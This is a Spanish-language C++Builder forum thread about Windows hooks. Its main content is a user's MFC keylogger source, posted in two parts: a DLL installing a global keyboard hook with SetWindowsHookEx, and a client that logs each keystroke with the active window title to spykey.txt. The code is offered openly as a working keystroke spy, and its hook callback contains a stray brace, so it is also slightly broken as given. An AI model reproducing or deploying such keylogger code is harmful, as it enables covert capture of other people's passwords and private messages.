Club Builder - Foros de discusión Club Builder
Foro de C++Builder en español
 
 FAQFAQ   BuscarBuscar   MiembrosMiembros   Grupos de UsuariosGrupos de Usuarios   RegistrarseRegistrarse 
 PerfilPerfil   Entra para ver tus mensajes privadosEntra para ver tus mensajes privados   EntrarEntrar 

Hooks

 
Publicar nuevo tema   Responder al tema    Foros de discusión -> Tips & Tricks
Ver tema anterior :: Ver tema siguiente  
Autor Mensaje
Mensaje    Asunto: Hooks Responder citando

Aquí les dejo unos ejemplos sobre el uso de hooks, cedidos muy amablemente por César.

http://www.ikis.com.ar/builder/hooks.zip

Hecho el aporte, si alguien realiza alguna mejora, genera un componente, o lo que sea, sugieron que lo comparta (puede ser en el proyecto Open Source del Club) para beneficio de todos.
Volver arriba
Ver perfil de usuario Enviar mensaje privado Visitar sitio web del autor
Mensaje    Asunto: Mas de Hook Responder citando

Hola, soy denis weno tengo un parte del codigo de un espia de teclas que hice con MFC.

#pragma data_seg(".HOOKDATA")
HINSTANCE hInst = NULL;
HWND hWnd = NULL;
HHOOK hook = NULL;
#pragma data_seg()

#pragma comment(linker, "/SECTION:.HOOKDATA,RWS")//linker directivas

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hInst = (HINSTANCE)hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

void InicioSpyKey(HWND hWindow, int idHook){//hWindow es el handle de la ventana q se le enviara el mensaje
hWnd = hWindow;
hook = ::SetWindowsHookEx(WH_KEYBOARD, CallBack, hInst, NULL/*GetWindowThreadProcessId(hWindow, NULL)*/);
if (hook == NULL) {
MessageBox(hWindow, "Error de SpyKey", "Error", MB_OK|MB_ICONERROR);
}
}

LRESULT CALLBACK CallBack(int code, WPARAM wp, LPARAM lp){
if (code>=0) {
if((lp & 0x80000000) == 0x00000000)
PostMessage(hWnd,(WM_USER+135),wp,lp);// el HWND es el handle de la ventana que recivila la informacion
}
}
return (CallNextHookEx(hook, code, wp,lp));
}
Volver arriba
Ver perfil de usuario Enviar mensaje privado Enviar email
Mensaje    Asunto: Mas de Hook Responder citando

aqui esta la segunda parte del codigo, esta es del lado del cliente.

Vuelvo y reitero esta hecho en MFC

LRESULT CKeylogerDlg::KeySpy(WPARAM wp, LPARAM lp){


//Determinamos la ventana
POINT point;
char titulo[255];
GetCursorPos(&point);

HWND hActive = ::GetForegroundWindow();

if (!hActive){return 0 ;}

if(hActive!=NULL && ::GetWindowTextLength(hActive)>1){//si hay una ventana activae
m_file = new CStdioFile("spykey.txt",CFile::modeCreate|CFile::modeWrite);
::GetWindowText(hActive, titulo, sizeof(titulo)/sizeof(char));
if(hActive == m_vtemp){
m_texto += GetLetra(lp);
}
else{
m_textoVentana.Format("\n\n<NOMBRE DE VENTANA: %s>\n<CONTENIDO>: %s", titulo, GetLetra(lp));
m_texto += m_textoVentana;
}
//Guardamos referencia de ventana
m_vtemp = hActive;

//Guardamos archivo
m_file->WriteString(m_texto);
m_file->Close();
}
//m_file->Close();
return 1;
}

//Extraemos la tecla
CString CKeylogerDlg::GetLetra(LPARAM lp){
char tecla[20];
GetKeyNameText(lp, tecla,20);
_strlwr(tecla);
CString key;
key.Format("%s",tecla);
if (key.GetLength()>1){
key = "<"+key+">";
}
return key;
}
Volver arriba
Ver perfil de usuario Enviar mensaje privado Enviar email
Mensaje    Asunto: Responder citando

Que lástima, llego tarde. El link http://www.ikis.com.ar/builder/hooks.zip ya no funciona.

Saludos.
Volver arriba
Ver perfil de usuario Enviar mensaje privado
Mensaje    Asunto: Hooks Responder citando

Hola gente, aqui dejo otro codigo.

https://cppbuilder.es/viewtopic.php?t=13441
Volver arriba
Ver perfil de usuario Enviar mensaje privado
Mostrar mensajes de anteriores:   
Cambiar a:  
No puedes publicar temas nuevos en este foro
No puedes responder a temas en este foro
No puedes editar tus mensajes en este foro
No puedes borrar tus mensajes en este foro
No puedes votar en las encuestas de este foro


Hosting WordPress Indedmedia desde 3,99 €
© 2002–2026 Club Builder · Funciona con phpBB.